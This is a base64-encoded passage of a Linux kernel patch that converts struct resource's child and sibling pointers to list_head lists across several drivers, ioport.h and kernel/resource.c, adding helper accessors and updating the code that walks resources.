IHsKIApAQCAtMTQ2MSw0NCArMTQ2MCwzNiBAQCBzdGF0aWMgYWNwaV9zdGF0dXMgdm1idXNfd2Fs
a19yZXNvdXJjZXMoc3RydWN0IGFjcGlfcmVzb3VyY2UgKnJlcywgdm9pZCAqY3R4KQogCS8qCiAJ
ICogSWYgdHdvIHJhbmdlcyBhcmUgYWRqYWNlbnQsIG1lcmdlIHRoZW0uCiAJICovCi0JZG8gewot
CQlpZiAoISpvbGRfcmVzKSB7Ci0JCQkqb2xkX3JlcyA9IG5ld19yZXM7Ci0JCQlicmVhazsKLQkJ
fQotCi0JCWlmICgoKCpvbGRfcmVzKS0+ZW5kICsgMSkgPT0gbmV3X3Jlcy0+c3RhcnQpIHsKLQkJ
CSgqb2xkX3JlcyktPmVuZCA9IG5ld19yZXMtPmVuZDsKKwlpZiAoISpvbGRfcmVzKSB7CisJCSpv
bGRfcmVzID0gbmV3X3JlczsKKwkJcmV0dXJuIEFFX09LOworCX0KKwl0bXAgPSAqb2xkX3JlczsK
KwlsaXN0X2Zvcl9lYWNoX2VudHJ5X2Zyb20odG1wLCAmdG1wLT5wYXJlbnQtPmNoaWxkLCBzaWJs
aW5nKSB7CisJCWlmICgodG1wLT5lbmQgKyAxKSA9PSBuZXdfcmVzLT5zdGFydCkgeworCQkJdG1w
LT5lbmQgPSBuZXdfcmVzLT5lbmQ7CiAJCQlrZnJlZShuZXdfcmVzKTsKIAkJCWJyZWFrOwogCQl9
CiAKLQkJaWYgKCgqb2xkX3JlcyktPnN0YXJ0ID09IG5ld19yZXMtPmVuZCArIDEpIHsKLQkJCSgq
b2xkX3JlcyktPnN0YXJ0ID0gbmV3X3Jlcy0+c3RhcnQ7CisJCWlmICh0bXAtPnN0YXJ0ID09IG5l
d19yZXMtPmVuZCArIDEpIHsKKwkJCXRtcC0+c3RhcnQgPSBuZXdfcmVzLT5zdGFydDsKIAkJCWtm
cmVlKG5ld19yZXMpOwogCQkJYnJlYWs7CiAJCX0KIAotCQlpZiAoKCpvbGRfcmVzKS0+c3RhcnQg
PiBuZXdfcmVzLT5lbmQpIHsKLQkJCW5ld19yZXMtPnNpYmxpbmcgPSAqb2xkX3JlczsKLQkJCWlm
IChwcmV2X3JlcykKLQkJCQkoKnByZXZfcmVzKS0+c2libGluZyA9IG5ld19yZXM7Ci0JCQkqb2xk
X3JlcyA9IG5ld19yZXM7CisJCWlmICh0bXAtPnN0YXJ0ID4gbmV3X3Jlcy0+ZW5kKSB7CisJCQls
aXN0X2FkZCgmbmV3X3Jlcy0+c2libGluZywgdG1wLT5zaWJsaW5nLnByZXYpOwogCQkJYnJlYWs7
CiAJCX0KLQotCQlwcmV2X3JlcyA9IG9sZF9yZXM7Ci0JCW9sZF9yZXMgPSAmKCpvbGRfcmVzKS0+
c2libGluZzsKLQotCX0gd2hpbGUgKDEpOworCX0KIAogCXJldHVybiBBRV9PSzsKIH0KIAogc3Rh
dGljIGludCB2bWJ1c19hY3BpX3JlbW92ZShzdHJ1Y3QgYWNwaV9kZXZpY2UgKmRldmljZSkKIHsK
LQlzdHJ1Y3QgcmVzb3VyY2UgKmN1cl9yZXM7Ci0Jc3RydWN0IHJlc291cmNlICpuZXh0X3JlczsK
KwlzdHJ1Y3QgcmVzb3VyY2UgKnJlczsKIAogCWlmIChoeXBlcnZfbW1pbykgewogCQlpZiAoZmJf
bW1pbykgewpAQCAtMTUwNywxMCArMTQ5OCw5IEBAIHN0YXRpYyBpbnQgdm1idXNfYWNwaV9yZW1v
dmUoc3RydWN0IGFjcGlfZGV2aWNlICpkZXZpY2UpCiAJCQlmYl9tbWlvID0gTlVMTDsKIAkJfQog
Ci0JCWZvciAoY3VyX3JlcyA9IGh5cGVydl9tbWlvOyBjdXJfcmVzOyBjdXJfcmVzID0gbmV4dF9y
ZXMpIHsKLQkJCW5leHRfcmVzID0gY3VyX3Jlcy0+c2libGluZzsKLQkJCWtmcmVlKGN1cl9yZXMp
OwotCQl9CisJCXJlcyA9IGh5cGVydl9tbWlvOworCQlsaXN0X2Zvcl9lYWNoX2VudHJ5X2Zyb20o
cmVzLCAmcmVzLT5wYXJlbnQtPmNoaWxkLCBzaWJsaW5nKQorCQkJa2ZyZWUocmVzKTsKIAl9CiAK
IAlyZXR1cm4gMDsKQEAgLTE1OTYsNyArMTU4Niw4IEBAIGludCB2bWJ1c19hbGxvY2F0ZV9tbWlv
KHN0cnVjdCByZXNvdXJjZSAqKm5ldywgc3RydWN0IGh2X2RldmljZSAqZGV2aWNlX29iaiwKIAkJ
fQogCX0KIAotCWZvciAoaXRlciA9IGh5cGVydl9tbWlvOyBpdGVyOyBpdGVyID0gaXRlci0+c2li
bGluZykgeworCWl0ZXIgPSBoeXBlcnZfbW1pbzsKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X2Zyb20o
aXRlciwgJml0ZXItPnBhcmVudC0+Y2hpbGQsIHNpYmxpbmcpIHsKIAkJaWYgKChpdGVyLT5zdGFy
dCA+PSBtYXgpIHx8IChpdGVyLT5lbmQgPD0gbWluKSkKIAkJCWNvbnRpbnVlOwogCkBAIC0xNjM5
LDcgKzE2MzAsOCBAQCB2b2lkIHZtYnVzX2ZyZWVfbW1pbyhyZXNvdXJjZV9zaXplX3Qgc3RhcnQs
IHJlc291cmNlX3NpemVfdCBzaXplKQogCXN0cnVjdCByZXNvdXJjZSAqaXRlcjsKIAogCWRvd24o
Jmh5cGVydl9tbWlvX2xvY2spOwotCWZvciAoaXRlciA9IGh5cGVydl9tbWlvOyBpdGVyOyBpdGVy
ID0gaXRlci0+c2libGluZykgeworCWl0ZXIgPSBoeXBlcnZfbW1pbzsKKwlsaXN0X2Zvcl9lYWNo
X2VudHJ5X2Zyb20oaXRlciwgJml0ZXItPnBhcmVudC0+Y2hpbGQsIHNpYmxpbmcpIHsKIAkJaWYg
KChpdGVyLT5zdGFydCA+PSBzdGFydCArIHNpemUpIHx8IChpdGVyLT5lbmQgPD0gc3RhcnQpKQog
CQkJY29udGludWU7CiAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvaW5wdXQvam95c3RpY2svaWZvcmNl
L2lmb3JjZS1tYWluLmMgYi9kcml2ZXJzL2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFp
bi5jCmluZGV4IGRhZWViNGM3ZTNiMC4uNWMwYmUyN2IzM2ZmIDEwMDY0NAotLS0gYS9kcml2ZXJz
L2lucHV0L2pveXN0aWNrL2lmb3JjZS9pZm9yY2UtbWFpbi5jCisrKyBiL2RyaXZlcnMvaW5wdXQv
am95c3RpY2svaWZvcmNlL2lmb3JjZS1tYWluLmMKQEAgLTMwNSw4ICszMDUsOCBAQCBpbnQgaWZv
cmNlX2luaXRfZGV2aWNlKHN0cnVjdCBpZm9yY2UgKmlmb3JjZSkKIAlpZm9yY2UtPmRldmljZV9t
ZW1vcnkuZW5kID0gMjAwOwogCWlmb3JjZS0+ZGV2aWNlX21lbW9yeS5mbGFncyA9IElPUkVTT1VS
Q0VfTUVNOwogCWlmb3JjZS0+ZGV2aWNlX21lbW9yeS5wYXJlbnQgPSBOVUxMOwotCWlmb3JjZS0+
ZGV2aWNlX21lbW9yeS5jaGlsZCA9IE5VTEw7Ci0JaWZvcmNlLT5kZXZpY2VfbWVtb3J5LnNpYmxp
bmcgPSBOVUxMOworCUlOSVRfTElTVF9IRUFEKCZpZm9yY2UtPmRldmljZV9tZW1vcnkuY2hpbGQp
OworCUlOSVRfTElTVF9IRUFEKCZpZm9yY2UtPmRldmljZV9tZW1vcnkuc2libGluZyk7CiAKIC8q
CiAgKiBXYWl0IHVudGlsIGRldmljZSByZWFkeSAtIHVudGlsIGl0IHNlbmRzIGl0cyBmaXJzdCBy
ZXNwb25zZS4KZGlmZiAtLWdpdCBhL2RyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZzLmMgYi9k
cml2ZXJzL252ZGltbS9uYW1lc3BhY2VfZGV2cy5jCmluZGV4IDI4YWZkZDY2ODkwNS4uZjUzZDQx
MGQ5OTgxIDEwMDY0NAotLS0gYS9kcml2ZXJzL252ZGltbS9uYW1lc3BhY2VfZGV2cy5jCisrKyBi
L2RyaXZlcnMvbnZkaW1tL25hbWVzcGFjZV9kZXZzLmMKQEAgLTYzNyw3ICs2MzcsNyBAQCBzdGF0
aWMgcmVzb3VyY2Vfc2l6ZV90IHNjYW5fYWxsb2NhdGUoc3RydWN0IG5kX3JlZ2lvbiAqbmRfcmVn
aW9uLAogIHJldHJ5OgogCWZpcnN0ID0gMDsKIAlmb3JfZWFjaF9kcGFfcmVzb3VyY2UobmRkLCBy
ZXMpIHsKLQkJc3RydWN0IHJlc291cmNlICpuZXh0ID0gcmVzLT5zaWJsaW5nLCAqbmV3X3JlcyA9
IE5VTEw7CisJCXN0cnVjdCByZXNvdXJjZSAqbmV4dCA9IHJlc291cmNlX3NpYmxpbmcocmVzKSwg
Km5ld19yZXMgPSBOVUxMOwogCQlyZXNvdXJjZV9zaXplX3QgYWxsb2NhdGUsIGF2YWlsYWJsZSA9
IDA7CiAJCWVudW0gYWxsb2NfbG9jIGxvYyA9IEFMTE9DX0VSUjsKIAkJY29uc3QgY2hhciAqYWN0
aW9uOwpAQCAtNzYzLDcgKzc2Myw3IEBAIHN0YXRpYyByZXNvdXJjZV9zaXplX3Qgc2Nhbl9hbGxv
Y2F0ZShzdHJ1Y3QgbmRfcmVnaW9uICpuZF9yZWdpb24sCiAJICogYW4gaW5pdGlhbCAicG1lbS1y
ZXNlcnZlIHBhc3MiLiAgT25seSBkbyBhbiBpbml0aWFsIEJMSyBhbGxvY2F0aW9uCiAJICogd2hl
biBub25lIG9mIHRoZSBEUEEgc3BhY2UgaXMgcmVzZXJ2ZWQuCiAJICovCi0JaWYgKChpc19wbWVt
IHx8ICFuZGQtPmRwYS5jaGlsZCkgJiYgbiA9PSB0b19hbGxvY2F0ZSkKKwlpZiAoKGlzX3BtZW0g
fHwgbGlzdF9lbXB0eSgmbmRkLT5kcGEuY2hpbGQpKSAmJiBuID09IHRvX2FsbG9jYXRlKQogCQly
ZXR1cm4gaW5pdF9kcGFfYWxsb2NhdGlvbihsYWJlbF9pZCwgbmRfcmVnaW9uLCBuZF9tYXBwaW5n
LCBuKTsKIAlyZXR1cm4gbjsKIH0KQEAgLTc3OSw3ICs3NzksNyBAQCBzdGF0aWMgaW50IG1lcmdl
X2RwYShzdHJ1Y3QgbmRfcmVnaW9uICpuZF9yZWdpb24sCiAgcmV0cnk6CiAJZm9yX2VhY2hfZHBh
X3Jlc291cmNlKG5kZCwgcmVzKSB7CiAJCWludCByYzsKLQkJc3RydWN0IHJlc291cmNlICpuZXh0
ID0gcmVzLT5zaWJsaW5nOworCQlzdHJ1Y3QgcmVzb3VyY2UgKm5leHQgPSByZXNvdXJjZV9zaWJs
aW5nKHJlcyk7CiAJCXJlc291cmNlX3NpemVfdCBlbmQgPSByZXMtPnN0YXJ0ICsgcmVzb3VyY2Vf
c2l6ZShyZXMpOwogCiAJCWlmICghbmV4dCB8fCBzdHJjbXAocmVzLT5uYW1lLCBsYWJlbF9pZC0+
aWQpICE9IDAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvbnZkaW1tL25kLmggYi9kcml2ZXJzL252ZGlt
bS9uZC5oCmluZGV4IDMyZTAzNjRiNDhiOS4uZGE3ZGExNWUwM2U3IDEwMDY0NAotLS0gYS9kcml2
ZXJzL252ZGltbS9uZC5oCisrKyBiL2RyaXZlcnMvbnZkaW1tL25kLmgKQEAgLTEwMiwxMSArMTAy
LDEwIEBAIHVuc2lnbmVkIHNpemVvZl9uYW1lc3BhY2VfbGFiZWwoc3RydWN0IG52ZGltbV9kcnZk
YXRhICpuZGQpOwogCQkodW5zaWduZWQgbG9uZyBsb25nKSAocmVzID8gcmVzLT5zdGFydCA6IDAp
LCAjI2FyZykKIAogI2RlZmluZSBmb3JfZWFjaF9kcGFfcmVzb3VyY2UobmRkLCByZXMpIFwKLQlm
b3IgKHJlcyA9IChuZGQpLT5kcGEuY2hpbGQ7IHJlczsgcmVzID0gcmVzLT5zaWJsaW5nKQorCWxp
c3RfZm9yX2VhY2hfZW50cnkocmVzLCAmKG5kZCktPmRwYS5jaGlsZCwgc2libGluZykKIAogI2Rl
ZmluZSBmb3JfZWFjaF9kcGFfcmVzb3VyY2Vfc2FmZShuZGQsIHJlcywgbmV4dCkgXAotCWZvciAo
cmVzID0gKG5kZCktPmRwYS5jaGlsZCwgbmV4dCA9IHJlcyA/IHJlcy0+c2libGluZyA6IE5VTEw7
IFwKLQkJCXJlczsgcmVzID0gbmV4dCwgbmV4dCA9IG5leHQgPyBuZXh0LT5zaWJsaW5nIDogTlVM
TCkKKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X3NhZmUocmVzLCBuZXh0LCAmKG5kZCktPmRwYS5jaGls
ZCwgc2libGluZykKIAogc3RydWN0IG5kX3BlcmNwdV9sYW5lIHsKIAlpbnQgY291bnQ7CmRpZmYg
LS1naXQgYS9kcml2ZXJzL29mL2FkZHJlc3MuYyBiL2RyaXZlcnMvb2YvYWRkcmVzcy5jCmluZGV4
IDUzMzQ5OTEyYWM3NS4uZTJlMjU3MTlhYjUyIDEwMDY0NAotLS0gYS9kcml2ZXJzL29mL2FkZHJl
c3MuYworKysgYi9kcml2ZXJzL29mL2FkZHJlc3MuYwpAQCAtMzMwLDcgKzMzMCw5IEBAIGludCBv
Zl9wY2lfcmFuZ2VfdG9fcmVzb3VyY2Uoc3RydWN0IG9mX3BjaV9yYW5nZSAqcmFuZ2UsCiB7CiAJ
aW50IGVycjsKIAlyZXMtPmZsYWdzID0gcmFuZ2UtPmZsYWdzOwotCXJlcy0+cGFyZW50ID0gcmVz
LT5jaGlsZCA9IHJlcy0+c2libGluZyA9IE5VTEw7CisJcmVzLT5wYXJlbnQgPSBOVUxMOworCUlO
SVRfTElTVF9IRUFEKCZyZXMtPmNoaWxkKTsKKwlJTklUX0xJU1RfSEVBRCgmcmVzLT5zaWJsaW5n
KTsKIAlyZXMtPm5hbWUgPSBucC0+ZnVsbF9uYW1lOwogCiAJaWYgKHJlcy0+ZmxhZ3MgJiBJT1JF
U09VUkNFX0lPKSB7CmRpZmYgLS1naXQgYS9kcml2ZXJzL3BhcmlzYy9sYmFfcGNpLmMgYi9kcml2
ZXJzL3BhcmlzYy9sYmFfcGNpLmMKaW5kZXggNjliZDk4NDIxZWIxLi43NDgyYmRmZDE5NTkgMTAw
NjQ0Ci0tLSBhL2RyaXZlcnMvcGFyaXNjL2xiYV9wY2kuYworKysgYi9kcml2ZXJzL3BhcmlzYy9s
YmFfcGNpLmMKQEAgLTE3MCw4ICsxNzAsOCBAQCBsYmFfZHVtcF9yZXMoc3RydWN0IHJlc291cmNl
ICpyLCBpbnQgZCkKIAlmb3IgKGkgPSBkOyBpIDsgLS1pKSBwcmludGsoIiAiKTsKIAlwcmludGso
S0VSTl9ERUJVRyAiJXAgWyVseCwlbHhdLyVseFxuIiwgciwKIAkJKGxvbmcpci0+c3RhcnQsIChs
b25nKXItPmVuZCwgci0+ZmxhZ3MpOwotCWxiYV9kdW1wX3JlcyhyLT5jaGlsZCwgZCsyKTsKLQls
YmFfZHVtcF9yZXMoci0+c2libGluZywgZCk7CisJbGJhX2R1bXBfcmVzKHJlc291cmNlX2ZpcnN0
X2NoaWxkKCZyLT5jaGlsZCksIGQrMik7CisJbGJhX2R1bXBfcmVzKHJlc291cmNlX3NpYmxpbmco
ciksIGQpOwogfQogCiAKZGlmZiAtLWdpdCBhL2RyaXZlcnMvcGNpL2hvc3Qvdm1kLmMgYi9kcml2
ZXJzL3BjaS9ob3N0L3ZtZC5jCmluZGV4IDk0MmI2NGZjN2YxZi4uZTNhY2UyMDM0NWM3IDEwMDY0
NAotLS0gYS9kcml2ZXJzL3BjaS9ob3N0L3ZtZC5jCisrKyBiL2RyaXZlcnMvcGNpL2hvc3Qvdm1k
LmMKQEAgLTU0MiwxNCArNTQyLDE0IEBAIHN0YXRpYyBzdHJ1Y3QgcGNpX29wcyB2bWRfb3BzID0g
ewogCiBzdGF0aWMgdm9pZCB2bWRfYXR0YWNoX3Jlc291cmNlcyhzdHJ1Y3Qgdm1kX2RldiAqdm1k
KQogewotCXZtZC0+ZGV2LT5yZXNvdXJjZVtWTURfTUVNQkFSMV0uY2hpbGQgPSAmdm1kLT5yZXNv
dXJjZXNbMV07Ci0Jdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIyXS5jaGlsZCA9ICZ2bWQt
PnJlc291cmNlc1syXTsKKwlsaXN0X2FkZCgmdm1kLT5yZXNvdXJjZXNbMV0uc2libGluZywgJnZt
ZC0+ZGV2LT5yZXNvdXJjZVtWTURfTUVNQkFSMV0uY2hpbGQpOworCWxpc3RfYWRkKCZ2bWQtPnJl
c291cmNlc1syXS5zaWJsaW5nLCAmdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIyXS5jaGls
ZCk7CiB9CiAKIHN0YXRpYyB2b2lkIHZtZF9kZXRhY2hfcmVzb3VyY2VzKHN0cnVjdCB2bWRfZGV2
ICp2bWQpCiB7Ci0Jdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIxXS5jaGlsZCA9IE5VTEw7
Ci0Jdm1kLT5kZXYtPnJlc291cmNlW1ZNRF9NRU1CQVIyXS5jaGlsZCA9IE5VTEw7CisJSU5JVF9M
SVNUX0hFQUQoJnZtZC0+ZGV2LT5yZXNvdXJjZVtWTURfTUVNQkFSMV0uY2hpbGQpOworCUlOSVRf
TElTVF9IRUFEKCZ2bWQtPmRldi0+cmVzb3VyY2VbVk1EX01FTUJBUjJdLmNoaWxkKTsKIH0KIAog
LyoKZGlmZiAtLWdpdCBhL2RyaXZlcnMvcGNpL3Byb2JlLmMgYi9kcml2ZXJzL3BjaS9wcm9iZS5j
CmluZGV4IGFjODc2ZTMyZGU0Yi4uOTYyNGRkMWRmZDQ5IDEwMDY0NAotLS0gYS9kcml2ZXJzL3Bj
aS9wcm9iZS5jCisrKyBiL2RyaXZlcnMvcGNpL3Byb2JlLmMKQEAgLTU5LDYgKzU5LDggQEAgc3Rh
dGljIHN0cnVjdCByZXNvdXJjZSAqZ2V0X3BjaV9kb21haW5fYnVzbl9yZXMoaW50IGRvbWFpbl9u
cikKIAlyLT5yZXMuc3RhcnQgPSAwOwogCXItPnJlcy5lbmQgPSAweGZmOwogCXItPnJlcy5mbGFn
cyA9IElPUkVTT1VSQ0VfQlVTIHwgSU9SRVNPVVJDRV9QQ0lfRklYRUQ7CisJSU5JVF9MSVNUX0hF
QUQoJnItPnJlcy5jaGlsZCk7CisJSU5JVF9MSVNUX0hFQUQoJnItPnJlcy5zaWJsaW5nKTsKIAog
CWxpc3RfYWRkX3RhaWwoJnItPmxpc3QsICZwY2lfZG9tYWluX2J1c25fcmVzX2xpc3QpOwogCmRp
ZmYgLS1naXQgYS9kcml2ZXJzL3BjaS9zZXR1cC1idXMuYyBiL2RyaXZlcnMvcGNpL3NldHVwLWJ1
cy5jCmluZGV4IDc5YjE4MjRlODNiNC4uOGU2ODVhZjg5MzhkIDEwMDY0NAotLS0gYS9kcml2ZXJz
L3BjaS9zZXR1cC1idXMuYworKysgYi9kcml2ZXJzL3BjaS9zZXR1cC1idXMuYwpAQCAtMjEwNyw3
ICsyMTA3LDcgQEAgaW50IHBjaV9yZWFzc2lnbl9icmlkZ2VfcmVzb3VyY2VzKHN0cnVjdCBwY2lf
ZGV2ICpicmlkZ2UsIHVuc2lnbmVkIGxvbmcgdHlwZSkKIAkJCQljb250aW51ZTsKIAogCQkJLyog
SWdub3JlIEJBUnMgd2hpY2ggYXJlIHN0aWxsIGluIHVzZSAqLwotCQkJaWYgKHJlcy0+Y2hpbGQp
CisJCQlpZiAoIWxpc3RfZW1wdHkoJnJlcy0+Y2hpbGQpKQogCQkJCWNvbnRpbnVlOwogCiAJCQly
ZXQgPSBhZGRfdG9fbGlzdCgmc2F2ZWQsIGJyaWRnZSwgcmVzLCAwLCAwKTsKZGlmZiAtLWdpdCBh
L2luY2x1ZGUvbGludXgvaW9wb3J0LmggYi9pbmNsdWRlL2xpbnV4L2lvcG9ydC5oCmluZGV4IGRm
ZGNkMGJmZTU0ZS4uYjc0NTZhZTg4OWRkIDEwMDY0NAotLS0gYS9pbmNsdWRlL2xpbnV4L2lvcG9y
dC5oCisrKyBiL2luY2x1ZGUvbGludXgvaW9wb3J0LmgKQEAgLTEyLDYgKzEyLDcgQEAKICNpZm5k
ZWYgX19BU1NFTUJMWV9fCiAjaW5jbHVkZSA8bGludXgvY29tcGlsZXIuaD4KICNpbmNsdWRlIDxs
aW51eC90eXBlcy5oPgorI2luY2x1ZGUgPGxpbnV4L2xpc3QuaD4KIC8qCiAgKiBSZXNvdXJjZXMg
YXJlIHRyZWUtbGlrZSwgYWxsb3dpbmcKICAqIG5lc3RpbmcgZXRjLi4KQEAgLTIyLDcgKzIzLDgg
QEAgc3RydWN0IHJlc291cmNlIHsKIAljb25zdCBjaGFyICpuYW1lOwogCXVuc2lnbmVkIGxvbmcg
ZmxhZ3M7CiAJdW5zaWduZWQgbG9uZyBkZXNjOwotCXN0cnVjdCByZXNvdXJjZSAqcGFyZW50LCAq
c2libGluZywgKmNoaWxkOworCXN0cnVjdCBsaXN0X2hlYWQgY2hpbGQsIHNpYmxpbmc7CisJc3Ry
dWN0IHJlc291cmNlICpwYXJlbnQ7CiB9OwogCiAvKgpAQCAtMjE2LDcgKzIxOCw2IEBAIHN0YXRp
YyBpbmxpbmUgYm9vbCByZXNvdXJjZV9jb250YWlucyhzdHJ1Y3QgcmVzb3VyY2UgKnIxLCBzdHJ1
Y3QgcmVzb3VyY2UgKnIyKQogCXJldHVybiByMS0+c3RhcnQgPD0gcjItPnN0YXJ0ICYmIHIxLT5l
bmQgPj0gcjItPmVuZDsKIH0KIAotCiAvKiBDb252ZW5pZW5jZSBzaG9ydGhhbmQgd2l0aCBhbGxv
Y2F0aW9uICovCiAjZGVmaW5lIHJlcXVlc3RfcmVnaW9uKHN0YXJ0LG4sbmFtZSkJCV9fcmVxdWVz
dF9yZWdpb24oJmlvcG9ydF9yZXNvdXJjZSwgKHN0YXJ0KSwgKG4pLCAobmFtZSksIDApCiAjZGVm
aW5lIHJlcXVlc3RfbXV4ZWRfcmVnaW9uKHN0YXJ0LG4sbmFtZSkJX19yZXF1ZXN0X3JlZ2lvbigm
aW9wb3J0X3Jlc291cmNlLCAoc3RhcnQpLCAobiksIChuYW1lKSwgSU9SRVNPVVJDRV9NVVhFRCkK
QEAgLTI4Nyw2ICsyODgsMTggQEAgc3RhdGljIGlubGluZSBib29sIHJlc291cmNlX292ZXJsYXBz
KHN0cnVjdCByZXNvdXJjZSAqcjEsIHN0cnVjdCByZXNvdXJjZSAqcjIpCiAgICAgICAgcmV0dXJu
IChyMS0+c3RhcnQgPD0gcjItPmVuZCAmJiByMS0+ZW5kID49IHIyLT5zdGFydCk7CiB9CiAKK3N0
YXRpYyBpbmxpbmUgc3RydWN0IHJlc291cmNlICpyZXNvdXJjZV9zaWJsaW5nKHN0cnVjdCByZXNv
dXJjZSAqcmVzKQoreworCWlmIChyZXMtPnBhcmVudCAmJiAhbGlzdF9pc19sYXN0KCZyZXMtPnNp
YmxpbmcsICZyZXMtPnBhcmVudC0+Y2hpbGQpKQorCQlyZXR1cm4gbGlzdF9uZXh0X2VudHJ5KHJl
cywgc2libGluZyk7CisJcmV0dXJuIE5VTEw7Cit9CisKK3N0YXRpYyBpbmxpbmUgc3RydWN0IHJl
c291cmNlICpyZXNvdXJjZV9maXJzdF9jaGlsZChzdHJ1Y3QgbGlzdF9oZWFkICpoZWFkKQorewor
CXJldHVybiBsaXN0X2ZpcnN0X2VudHJ5X29yX251bGwoaGVhZCwgc3RydWN0IHJlc291cmNlLCBz
aWJsaW5nKTsKK30KKwogCiAjZW5kaWYgLyogX19BU1NFTUJMWV9fICovCiAjZW5kaWYJLyogX0xJ
TlVYX0lPUE9SVF9IICovCmRpZmYgLS1naXQgYS9rZXJuZWwvcmVzb3VyY2UuYyBiL2tlcm5lbC9y
ZXNvdXJjZS5jCmluZGV4IDVlN2M1NmQ1ZDgzOC4uZWY5YTIwYjc1MjM0IDEwMDY0NAotLS0gYS9r
ZXJuZWwvcmVzb3VyY2UuYworKysgYi9rZXJuZWwvcmVzb3VyY2UuYwpAQCAtMzEsNiArMzEsOCBA
QCBzdHJ1Y3QgcmVzb3VyY2UgaW9wb3J0X3Jlc291cmNlID0gewogCS5zdGFydAk9IDAsCiAJLmVu
ZAk9IElPX1NQQUNFX0xJTUlULAogCS5mbGFncwk9IElPUkVTT1VSQ0VfSU8sCisJLnNpYmxpbmcg
PSBMSVNUX0hFQURfSU5JVChpb3BvcnRfcmVzb3VyY2Uuc2libGluZyksCisJLmNoaWxkICA9IExJ
U1RfSEVBRF9JTklUKGlvcG9ydF9yZXNvdXJjZS5jaGlsZCksCiB9OwogRVhQT1JUX1NZTUJPTChp
b3BvcnRfcmVzb3VyY2UpOwogCkBAIC0zOSw2ICs0MSw4IEBAIHN0cnVjdCByZXNvdXJjZSBpb21l
bV9yZXNvdXJjZSA9IHsKIAkuc3RhcnQJPSAwLAogCS5lbmQJPSAtMSwKIAkuZmxhZ3MJPSBJT1JF
U09VUkNFX01FTSwKKwkuc2libGluZyA9IExJU1RfSEVBRF9JTklUKGlvbWVtX3Jlc291cmNlLnNp
YmxpbmcpLAorCS5jaGlsZCAgPSBMSVNUX0hFQURfSU5JVChpb21lbV9yZXNvdXJjZS5jaGlsZCks
CiB9OwogRVhQT1JUX1NZTUJPTChpb21lbV9yZXNvdXJjZSk7CiAKQEAgLTU3LDIwICs2MSwyMCBA
QCBzdGF0aWMgREVGSU5FX1JXTE9DSyhyZXNvdXJjZV9sb2NrKTsKICAqIGJ5IGJvb3QgbWVtIGFm
dGVyIHRoZSBzeXN0ZW0gaXMgdXAuIFNvIGZvciByZXVzaW5nIHRoZSByZXNvdXJjZSBlbnRyeQog
ICogd2UgbmVlZCB0byByZW1lbWJlciB0aGUgcmVzb3VyY2UuCiAgKi8KLXN0YXRpYyBzdHJ1Y3Qg
cmVzb3VyY2UgKmJvb3RtZW1fcmVzb3VyY2VfZnJlZTsKK3N0YXRpYyBzdHJ1Y3QgbGlzdF9oZWFk
IGJvb3RtZW1fcmVzb3VyY2VfZnJlZSA9IExJU1RfSEVBRF9JTklUKGJvb3RtZW1fcmVzb3VyY2Vf
ZnJlZSk7CiBzdGF0aWMgREVGSU5FX1NQSU5MT0NLKGJvb3RtZW1fcmVzb3VyY2VfbG9jayk7CiAK
IHN0YXRpYyBzdHJ1Y3QgcmVzb3VyY2UgKm5leHRfcmVzb3VyY2Uoc3RydWN0IHJlc291cmNlICpw
LCBib29sIHNpYmxpbmdfb25seSkKIHsKIAkvKiBDYWxsZXIgd2FudHMgdG8gdHJhdmVyc2UgdGhy
b3VnaCBzaWJsaW5ncyBvbmx5ICovCiAJaWYgKHNpYmxpbmdfb25seSkKLQkJcmV0dXJuIHAtPnNp
Ymxpbmc7CisJCXJldHVybiByZXNvdXJjZV9zaWJsaW5nKHApOwogCi0JaWYgKHAtPmNoaWxkKQot
CQlyZXR1cm4gcC0+Y2hpbGQ7Ci0Jd2hpbGUgKCFwLT5zaWJsaW5nICYmIHAtPnBhcmVudCkKKwlp
ZiAoIWxpc3RfZW1wdHkoJnAtPmNoaWxkKSkKKwkJcmV0dXJuIHJlc291cmNlX2ZpcnN0X2NoaWxk
KCZwLT5jaGlsZCk7CisJd2hpbGUgKCFyZXNvdXJjZV9zaWJsaW5nKHApICYmIHAtPnBhcmVudCkK
IAkJcCA9IHAtPnBhcmVudDsKLQlyZXR1cm4gcC0+c2libGluZzsKKwlyZXR1cm4gcmVzb3VyY2Vf
c2libGluZyhwKTsKIH0KIAogc3RhdGljIHZvaWQgKnJfbmV4dChzdHJ1Y3Qgc2VxX2ZpbGUgKm0s
IHZvaWQgKnYsIGxvZmZfdCAqcG9zKQpAQCAtOTAsNyArOTQsNyBAQCBzdGF0aWMgdm9pZCAqcl9z
dGFydChzdHJ1Y3Qgc2VxX2ZpbGUgKm0sIGxvZmZfdCAqcG9zKQogCXN0cnVjdCByZXNvdXJjZSAq
cCA9IFBERV9EQVRBKGZpbGVfaW5vZGUobS0+ZmlsZSkpOwogCWxvZmZfdCBsID0gMDsKIAlyZWFk
X2xvY2soJnJlc291cmNlX2xvY2spOwotCWZvciAocCA9IHAtPmNoaWxkOyBwICYmIGwgPCAqcG9z
OyBwID0gcl9uZXh0KG0sIHAsICZsKSkKKwlmb3IgKHAgPSByZXNvdXJjZV9maXJzdF9jaGlsZCgm
cC0+Y2hpbGQpOyBwICYmIGwgPCAqcG9zOyBwID0gcl9uZXh0KG0sIHAsICZsKSkKIAkJOwogCXJl
dHVybiBwOwogfQpAQCAtMTUzLDggKzE1Nyw3IEBAIHN0YXRpYyB2b2lkIGZyZWVfcmVzb3VyY2Uo
c3RydWN0IHJlc291cmNlICpyZXMpCiAKIAlpZiAoIVBhZ2VTbGFiKHZpcnRfdG9faGVhZF9wYWdl
KHJlcykpKSB7CiAJCXNwaW5fbG9jaygmYm9vdG1lbV9yZXNvdXJjZV9sb2NrKTsKLQkJcmVzLT5z
aWJsaW5nID0gYm9vdG1lbV9yZXNvdXJjZV9mcmVlOwotCQlib290bWVtX3Jlc291cmNlX2ZyZWUg
PSByZXM7CisJCWxpc3RfYWRkKCZyZXMtPnNpYmxpbmcsICZib290bWVtX3Jlc291cmNlX2ZyZWUp
